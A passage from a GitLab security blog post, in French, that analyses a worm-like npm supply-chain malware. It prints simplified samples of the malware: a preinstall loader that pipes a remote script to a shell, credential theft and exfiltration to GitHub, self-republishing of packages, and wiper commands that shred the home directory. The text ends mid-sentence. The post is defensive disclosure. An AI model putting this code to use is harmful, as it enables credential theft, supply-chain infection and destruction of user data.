[{"data":1,"prerenderedAt":679},["ShallowReactive",2],{"/fr-fr/blog/categories/security-labs":3,"navigation-fr-fr":22,"banner-fr-fr":427,"footer-fr-fr":437,"security-labs-category-page-total-items-fr-fr":647,"security-labs-category-page-featured-fr-fr":648,"security-labs-category-page-1-fr-fr":678},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":12,"description":6,"extension":15,"meta":16,"navigation":9,"path":17,"seo":18,"slug":6,"stem":20,"testContent":6,"type":6,"__hash__":21},"blogCategories/fr-fr/blog/categories/security-labs.yml","Security Labs",null,{"template":8,"isCustomCategory":9,"slug":10,"hide":11},"BlogCategory",true,"security-labs",false,{"name":13,"description":14},"Recherche en sécurité","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.","yml",{},"/fr-fr/blog/categories/security-labs",{"title":13,"description":19},"Browse articles related to Recherche en sécurité on the GitLab Blog","fr-fr/blog/categories/security-labs","aOuaAxJhYhLDekH7XHvq20ksx0tstQVafXlkstDMws8",{"data":23},{"logo":24,"freeTrial":29,"sales":34,"login":39,"items":44,"search":354,"minimal":389,"duo":408,"pricingDeployment":417},{"config":25},{"href":26,"dataGaName":27,"dataGaLocation":28},"/fr-fr/","gitlab logo","header",{"text":30,"config":31},"Commencer un essai gratuit",{"href":32,"dataGaName":33,"dataGaLocation":28},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":35,"config":36},"Contacter l'équipe commerciale",{"href":37,"dataGaName":38,"dataGaLocation":28},"/fr-fr/sales/","sales",{"text":40,"config":41},"Connexion",{"href":42,"dataGaName":43,"dataGaLocation":28},"https://gitlab.com/users/sign_in/","sign in",[45,72,169,174,275,335],{"text":46,"config":47,"cards":49},"Plateforme",{"dataNavLevelOne":48},"platform",[50,56,64],{"title":46,"description":51,"link":52},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":53,"config":54},"Découvrir notre plateforme",{"href":55,"dataGaName":48,"dataGaLocation":28},"/fr-fr/platform/",{"title":57,"description":58,"link":59},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":60,"config":61},"Découvrir GitLab Duo",{"href":62,"dataGaName":63,"dataGaLocation":28},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":65,"description":66,"link":67},"Choisir GitLab","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":68,"config":69},"En savoir plus",{"href":70,"dataGaName":71,"dataGaLocation":28},"/fr-fr/why-gitlab/","why gitlab",{"text":73,"left":9,"config":74,"link":76,"lists":80,"footer":151},"Produit",{"dataNavLevelOne":75},"solutions",{"text":77,"config":78},"Voir toutes les solutions",{"href":79,"dataGaName":75,"dataGaLocation":28},"/fr-fr/solutions/",[81,106,129],{"title":82,"description":83,"link":84,"items":89},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":85},{"icon":86,"href":87,"dataGaName":88,"dataGaLocation":28},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[90,94,97,102],{"text":91,"config":92},"CI/CD",{"href":93,"dataGaLocation":28,"dataGaName":91},"/fr-fr/solutions/continuous-integration/",{"text":57,"config":95},{"href":62,"dataGaLocation":28,"dataGaName":96},"gitlab duo agent platform - product menu",{"text":98,"config":99},"Gestion du code source",{"href":100,"dataGaLocation":28,"dataGaName":101},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":103,"config":104},"Livraison de logiciels automatisée",{"href":87,"dataGaLocation":28,"dataGaName":105},"Automated software delivery",{"title":107,"description":108,"link":109,"items":114},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":110},{"href":111,"dataGaName":112,"dataGaLocation":28,"icon":113},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[115,119,124],{"text":116,"config":117},"Tests de sécurité des applications",{"href":111,"dataGaName":118,"dataGaLocation":28},"Application security testing",{"text":120,"config":121},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":122,"dataGaLocation":28,"dataGaName":123},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":125,"config":126},"Conformité logicielle",{"href":127,"dataGaName":128,"dataGaLocation":28},"/fr-fr/solutions/software-compliance/","Software Compliance",{"title":130,"link":131,"items":136},"Mesures",{"config":132},{"icon":133,"href":134,"dataGaName":135,"dataGaLocation":28},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[137,141,146],{"text":138,"config":139},"Visibilité et mesures",{"href":134,"dataGaLocation":28,"dataGaName":140},"Visibility and Measurement",{"text":142,"config":143},"Gestion de la chaîne de valeur",{"href":144,"dataGaLocation":28,"dataGaName":145},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":147,"config":148},"Données d'analyse et informations clés",{"href":149,"dataGaLocation":28,"dataGaName":150},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":152,"items":153},"GitLab pour",[154,159,164],{"text":155,"config":156},"Entreprises",{"href":157,"dataGaLocation":28,"dataGaName":158},"/fr-fr/enterprise/","enterprise",{"text":160,"config":161},"PME",{"href":162,"dataGaLocation":28,"dataGaName":163},"/fr-fr/small-business/","small business",{"text":165,"config":166},"Secteur public",{"href":167,"dataGaLocation":28,"dataGaName":168},"/fr-fr/solutions/public-sector/","public sector",{"text":170,"config":171},"Tarifs",{"href":172,"dataGaName":173,"dataGaLocation":28,"dataNavLevelOne":173},"/fr-fr/pricing/","pricing",{"text":175,"config":176,"link":178,"lists":182,"feature":262},"Ressources",{"dataNavLevelOne":177},"resources",{"text":179,"config":180},"Afficher toutes les ressources",{"href":181,"dataGaName":177,"dataGaLocation":28},"/fr-fr/resources/",[183,216,234],{"title":184,"items":185},"Premiers pas",[186,191,196,201,206,211],{"text":187,"config":188},"Installation",{"href":189,"dataGaName":190,"dataGaLocation":28},"/fr-fr/install/","install",{"text":192,"config":193},"Guides de démarrage",{"href":194,"dataGaName":195,"dataGaLocation":28},"/fr-fr/get-started/","quick setup checklists",{"text":197,"config":198},"Apprentissage",{"href":199,"dataGaLocation":28,"dataGaName":200},"https://university.gitlab.com/","learn",{"text":202,"config":203},"Documentation sur le produit",{"href":204,"dataGaName":205,"dataGaLocation":28},"https://docs.gitlab.com/","product documentation",{"text":207,"config":208},"Vidéos sur les bonnes pratiques",{"href":209,"dataGaName":210,"dataGaLocation":28},"/fr-fr/getting-started-videos/","best practice videos",{"text":212,"config":213},"Intégrations",{"href":214,"dataGaName":215,"dataGaLocation":28},"/fr-fr/integrations/","integrations",{"title":217,"items":218},"Découvrir",[219,224,229],{"text":220,"config":221},"Témoignages clients",{"href":222,"dataGaName":223,"dataGaLocation":28},"/fr-fr/customers/","customer success stories",{"text":225,"config":226},"Blog",{"href":227,"dataGaName":228,"dataGaLocation":28},"/fr-fr/blog/","blog",{"text":230,"config":231},"Travail à distance",{"href":232,"dataGaName":233,"dataGaLocation":28},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":235,"items":236},"Connecter",[237,242,247,252,257],{"text":238,"config":239},"Services GitLab",{"href":240,"dataGaName":241,"dataGaLocation":28},"/fr-fr/services/","services",{"text":243,"config":244},"Communauté",{"href":245,"dataGaName":246,"dataGaLocation":28},"/community/","community",{"text":248,"config":249},"Forum",{"href":250,"dataGaName":251,"dataGaLocation":28},"https://forum.gitlab.com/","forum",{"text":253,"config":254},"Événements",{"href":255,"dataGaName":256,"dataGaLocation":28},"/events/","events",{"text":258,"config":259},"Partenaires",{"href":260,"dataGaName":261,"dataGaLocation":28},"/fr-fr/partners/","partners",{"backgroundColor":263,"textColor":264,"text":265,"image":266,"link":270},"#2f2a6b","#fff","L'avenir du développement logiciel. Tendances et perspectives.",{"altText":267,"config":268},"carte promo The Source",{"src":269},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":271,"config":272},"Lire les articles les plus récents",{"href":273,"dataGaName":274,"dataGaLocation":28},"/fr-fr/the-source/","the source",{"text":276,"config":277,"lists":279},"Société",{"dataNavLevelOne":278},"company",[280],{"items":281},[282,287,293,295,300,305,310,315,320,325,330],{"text":283,"config":284},"À propos",{"href":285,"dataGaName":286,"dataGaLocation":28},"/fr-fr/company/","about",{"text":288,"config":289,"footerGa":292},"Carrières",{"href":290,"dataGaName":291,"dataGaLocation":28},"/jobs/","jobs",{"dataGaName":291},{"text":253,"config":294},{"href":255,"dataGaName":256,"dataGaLocation":28},{"text":296,"config":297},"Leadership",{"href":298,"dataGaName":299,"dataGaLocation":28},"/company/team/e-group/","leadership",{"text":301,"config":302},"Équipe",{"href":303,"dataGaName":304,"dataGaLocation":28},"/company/team/","team",{"text":306,"config":307},"Manuel",{"href":308,"dataGaName":309,"dataGaLocation":28},"https://handbook.gitlab.com/","handbook",{"text":311,"config":312},"Relations avec les investisseurs",{"href":313,"dataGaName":314,"dataGaLocation":28},"https://ir.gitlab.com/","investor relations",{"text":316,"config":317},"Centre de confiance",{"href":318,"dataGaName":319,"dataGaLocation":28},"/fr-fr/security/","trust center",{"text":321,"config":322},"Centre pour la transparence de l'IA",{"href":323,"dataGaName":324,"dataGaLocation":28},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":326,"config":327},"Newsletter",{"href":328,"dataGaName":329,"dataGaLocation":28},"/company/contact/#contact-forms","newsletter",{"text":331,"config":332},"Presse",{"href":333,"dataGaName":334,"dataGaLocation":28},"/press/","press",{"text":336,"config":337,"lists":338},"Nous contacter",{"dataNavLevelOne":278},[339],{"items":340},[341,344,349],{"text":35,"config":342},{"href":37,"dataGaName":343,"dataGaLocation":28},"talk to sales",{"text":345,"config":346},"Portail d’assistance",{"href":347,"dataGaName":348,"dataGaLocation":28},"https://support.gitlab.com","support portal",{"text":350,"config":351},"Portail clients GitLab",{"href":352,"dataGaName":353,"dataGaLocation":28},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":355,"login":356,"suggestions":363},"Fermer",{"text":357,"link":358},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":359,"config":360},"gitlab.com",{"href":42,"dataGaName":361,"dataGaLocation":362},"search login","search",{"text":364,"default":365},"Suggestions",[366,368,373,375,380,385],{"text":57,"config":367},{"href":62,"dataGaName":57,"dataGaLocation":362},{"text":369,"config":370},"Suggestions de code (IA)",{"href":371,"dataGaName":372,"dataGaLocation":362},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":91,"config":374},{"href":93,"dataGaName":91,"dataGaLocation":362},{"text":376,"config":377},"GitLab sur AWS",{"href":378,"dataGaName":379,"dataGaLocation":362},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":381,"config":382},"GitLab sur Google Cloud ",{"href":383,"dataGaName":384,"dataGaLocation":362},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":386,"config":387},"Pourquoi utiliser GitLab ?",{"href":70,"dataGaName":388,"dataGaLocation":362},"Why GitLab?",{"freeTrial":390,"mobileIcon":395,"desktopIcon":400,"secondaryButton":403},{"text":391,"config":392},"Commencer votre essai gratuit",{"href":393,"dataGaName":33,"dataGaLocation":394},"https://gitlab.com/-/trials/new/","nav",{"altText":396,"config":397},"Icône GitLab",{"src":398,"dataGaName":399,"dataGaLocation":394},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":396,"config":401},{"src":402,"dataGaName":399,"dataGaLocation":394},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":404,"config":405},"Commencer",{"href":406,"dataGaName":407,"dataGaLocation":394},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":409,"mobileIcon":413,"desktopIcon":415},{"text":410,"config":411},"En savoir plus sur GitLab Duo",{"href":62,"dataGaName":412,"dataGaLocation":394},"gitlab duo",{"altText":396,"config":414},{"src":398,"dataGaName":399,"dataGaLocation":394},{"altText":396,"config":416},{"src":402,"dataGaName":399,"dataGaLocation":394},{"freeTrial":418,"mobileIcon":423,"desktopIcon":425},{"text":419,"config":420},"Retour aux tarifs",{"href":172,"dataGaName":421,"dataGaLocation":394,"icon":422},"back to pricing","GoBack",{"altText":396,"config":424},{"src":398,"dataGaName":399,"dataGaLocation":394},{"altText":396,"config":426},{"src":402,"dataGaName":399,"dataGaLocation":394},{"title":428,"button":429,"config":434},"Découvrez comment l'IA agentique transforme la livraison logicielle",{"text":430,"config":431},"Regarder GitLab Transcend maintenant",{"href":432,"dataGaName":433,"dataGaLocation":28},"/fr-fr/events/transcend/virtual/","transcend event",{"layout":435,"icon":436,"disabled":9},"release","AiStar",{"data":438},{"text":439,"source":440,"edit":446,"contribute":451,"config":456,"items":461,"minimal":638},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence",{"text":441,"config":442},"Afficher le code source de la page",{"href":443,"dataGaName":444,"dataGaLocation":445},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":447,"config":448},"Modifier cette page",{"href":449,"dataGaName":450,"dataGaLocation":445},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":452,"config":453},"Veuillez contribuer",{"href":454,"dataGaName":455,"dataGaLocation":445},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":457,"facebook":458,"youtube":459,"linkedin":460},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[462,485,539,571,606],{"title":46,"links":463,"subMenu":468},[464],{"text":465,"config":466},"Plateforme DevSecOps",{"href":55,"dataGaName":467,"dataGaLocation":445},"devsecops platform",[469],{"title":170,"links":470},[471,475,480],{"text":472,"config":473},"Voir les forfaits",{"href":172,"dataGaName":474,"dataGaLocation":445},"view plans",{"text":476,"config":477},"Pourquoi choisir GitLab Premium ?",{"href":478,"dataGaName":479,"dataGaLocation":445},"/fr-fr/pricing/premium/","why premium",{"text":481,"config":482},"Pourquoi choisir GitLab Ultimate ?",{"href":483,"dataGaName":484,"dataGaLocation":445},"/fr-fr/pricing/ultimate/","why ultimate",{"title":486,"links":487},"Solutions",[488,493,496,498,503,508,512,515,518,523,525,527,529,534],{"text":489,"config":490},"Transformation digitale",{"href":491,"dataGaName":492,"dataGaLocation":445},"/fr-fr/topics/digital-transformation/","digital transformation",{"text":494,"config":495},"Sécurité et conformité",{"href":111,"dataGaName":118,"dataGaLocation":445},{"text":103,"config":497},{"href":87,"dataGaName":88,"dataGaLocation":445},{"text":499,"config":500},"Développement agile",{"href":501,"dataGaName":502,"dataGaLocation":445},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":504,"config":505},"Transformation cloud",{"href":506,"dataGaName":507,"dataGaLocation":445},"/fr-fr/topics/cloud-native/","cloud transformation",{"text":509,"config":510},"SCM",{"href":100,"dataGaName":511,"dataGaLocation":445},"source code management",{"text":91,"config":513},{"href":93,"dataGaName":514,"dataGaLocation":445},"continuous integration & delivery",{"text":142,"config":516},{"href":144,"dataGaName":517,"dataGaLocation":445},"value stream management",{"text":519,"config":520},"GitOps",{"href":521,"dataGaName":522,"dataGaLocation":445},"/fr-fr/solutions/gitops/","gitops",{"text":155,"config":524},{"href":157,"dataGaName":158,"dataGaLocation":445},{"text":160,"config":526},{"href":162,"dataGaName":163,"dataGaLocation":445},{"text":165,"config":528},{"href":167,"dataGaName":168,"dataGaLocation":445},{"text":530,"config":531},"Formation",{"href":532,"dataGaName":533,"dataGaLocation":445},"/fr-fr/solutions/education/","education",{"text":535,"config":536},"Services financiers",{"href":537,"dataGaName":538,"dataGaLocation":445},"/fr-fr/solutions/finance/","financial services",{"title":175,"links":540},[541,543,546,548,551,553,556,559,561,563,565,567,569],{"text":187,"config":542},{"href":189,"dataGaName":190,"dataGaLocation":445},{"text":544,"config":545},"Guides de démarrage rapide",{"href":194,"dataGaName":195,"dataGaLocation":445},{"text":197,"config":547},{"href":199,"dataGaName":200,"dataGaLocation":445},{"text":202,"config":549},{"href":204,"dataGaName":550,"dataGaLocation":445},"docs",{"text":225,"config":552},{"href":227,"dataGaName":228},{"text":554,"config":555},"Histoires de réussite client",{"href":222,"dataGaLocation":445},{"text":557,"config":558},"Histoires de succès client",{"href":222,"dataGaName":223,"dataGaLocation":445},{"text":230,"config":560},{"href":232,"dataGaName":233,"dataGaLocation":445},{"text":238,"config":562},{"href":240,"dataGaName":241,"dataGaLocation":445},{"text":243,"config":564},{"href":245,"dataGaName":246,"dataGaLocation":445},{"text":248,"config":566},{"href":250,"dataGaName":251,"dataGaLocation":445},{"text":253,"config":568},{"href":255,"dataGaName":256,"dataGaLocation":445},{"text":258,"config":570},{"href":260,"dataGaName":261,"dataGaLocation":445},{"title":276,"links":572},[573,575,578,580,582,584,586,590,595,597,599,601],{"text":283,"config":574},{"href":285,"dataGaName":278,"dataGaLocation":445},{"text":576,"config":577},"Emplois",{"href":290,"dataGaName":291,"dataGaLocation":445},{"text":296,"config":579},{"href":298,"dataGaName":299,"dataGaLocation":445},{"text":301,"config":581},{"href":303,"dataGaName":304,"dataGaLocation":445},{"text":306,"config":583},{"href":308,"dataGaName":309,"dataGaLocation":445},{"text":311,"config":585},{"href":313,"dataGaName":314,"dataGaLocation":445},{"text":587,"config":588},"Sustainability",{"href":589,"dataGaName":587,"dataGaLocation":445},"/sustainability/",{"text":591,"config":592},"Diversité, inclusion et appartenance (DIB)",{"href":593,"dataGaName":594,"dataGaLocation":445},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":316,"config":596},{"href":318,"dataGaName":319,"dataGaLocation":445},{"text":326,"config":598},{"href":328,"dataGaName":329,"dataGaLocation":445},{"text":331,"config":600},{"href":333,"dataGaName":334,"dataGaLocation":445},{"text":602,"config":603},"Déclaration de transparence sur l'esclavage moderne",{"href":604,"dataGaName":605,"dataGaLocation":445},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":336,"links":607},[608,611,616,618,623,628,633],{"text":609,"config":610},"Échanger avec un expert",{"href":37,"dataGaName":38,"dataGaLocation":445},{"text":612,"config":613},"Aide",{"href":614,"dataGaName":615,"dataGaLocation":445},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":350,"config":617},{"href":352,"dataGaName":353,"dataGaLocation":445},{"text":619,"config":620},"Statut",{"href":621,"dataGaName":622,"dataGaLocation":445},"https://status.gitlab.com/","status",{"text":624,"config":625},"Conditions d'utilisation",{"href":626,"dataGaName":627},"/terms/","terms of use",{"text":629,"config":630},"Déclaration de confidentialité",{"href":631,"dataGaName":632,"dataGaLocation":445},"/fr-fr/privacy/","privacy statement",{"text":634,"config":635},"Préférences en matière de cookies",{"dataGaName":636,"dataGaLocation":445,"id":637,"isOneTrustButton":9},"cookie preferences","ot-sdk-btn",{"items":639},[640,642,645],{"text":624,"config":641},{"href":626,"dataGaName":627,"dataGaLocation":445},{"text":643,"config":644},"Politique de confidentialité",{"href":631,"dataGaName":632,"dataGaLocation":445},{"text":634,"config":646},{"dataGaName":636,"dataGaLocation":445,"id":637,"isOneTrustButton":9},1,{"id":649,"title":650,"authorSlugs":651,"body":6,"categorySlug":10,"config":654,"content":657,"description":6,"extension":15,"isFeatured":11,"meta":669,"navigation":9,"path":670,"publishedDate":661,"seo":671,"stem":674,"tagSlugs":675,"__hash__":677},"blogPosts/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","Gitlab Discovers Widespread Npm Supply Chain Attack",[652,653],"daniel-abeles","michael-henriksen",{"featured":11,"template":655,"slug":656},"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"tags":658,"category":10,"date":661,"heroImage":662,"title":663,"description":664,"authors":665,"body":668},[659,660],"security research","security","2025-11-25","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLab découvre une attaque généralisée de la chaîne d'approvisionnement npm","Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.",[666,667],"Daniel Abeles","Michael Henriksen","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « [Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) ».\n\nLes premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un **mécanisme d'autodestruction** qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.\n\n**Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.**\n\n## Analyse de l'attaque\n\nNotre système de surveillance interne, qui analyse les registres de paquets [open source](https://about.gitlab.com/fr-fr/blog/2025/04/16/what-is-open-source/ \"Qu'est-ce que l'open source ?\") à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :\n\n* Collecte les identifiants de GitHub, npm, AWS, GCP et Azure.\n* Exfiltre les données volées vers des dépôts GitHub contrôlés par les attaquants.\n* Se propage en infectant automatiquement d'autres paquets appartenant aux victimes.\n* **Contient une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure.**\n\nBien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.\n\n## Analyse technique : déroulement de l'attaque\n\n![Diagramme Mermaid qui illustre le déroulement de l'attaque](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### Vecteur d'infection initial\n\nLe logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un `package.json` modifié avec un script de pré-installation pointant vers `setup_bun.js`. Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.\n\n```javascript\n// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nLe fichier `setup_bun.js` télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile `bun_environment.js`, un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.\n\n### Collecte des identifiants\n\nUne fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :\n\n* **Tokens GitHub** : il recherche dans les variables d'environnement et les configurations de l'interface de ligne de commande (CLI) GitHub les tokens commençant par `ghp_` (token d'accès personnel GitHub) ou `gho_` (token OAuth GitHub).\n* **Identifiants cloud** : il énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels et vérifie les variables d'environnement, les fichiers de configuration et les services de métadonnées.\n* **Tokens npm** : il extrait les tokens de publication de paquets des fichiers `.npmrc` et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.\n* **Analyse du système de fichiers** : il télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'intégralité du répertoire personnel à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique [git](https://about.gitlab.com/fr-fr/blog/2024/10/08/what-is-git/ \"Qu'est-ce que Git ?\").\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### Réseau d'exfiltration de données\n\nLe logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.\n\n```javascript\nasync function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n```\n\nSi le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.\n\n```javascript\n// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n```\n\n### Propagation dans la chaîne d'approvisionnement\n\nEn utilisant les tokens npm volés, le logiciel malveillant :\n\n1. Télécharge tous les paquets maintenus par la victime.\n2. Injecte le fichier `setup_bun.js` dans les scripts de pré-installation de chaque paquet.\n3. Regroupe la charge utile malveillante `bun_environment.js`.\n4. Incrémente le numéro de version du paquet.\n5. Republie les paquets infectés sur npm.\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## Mécanisme d'autodestruction\n\nNotre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.\n\nLe malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise `shred` pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.\n\n```javascript\n// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nCe scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et 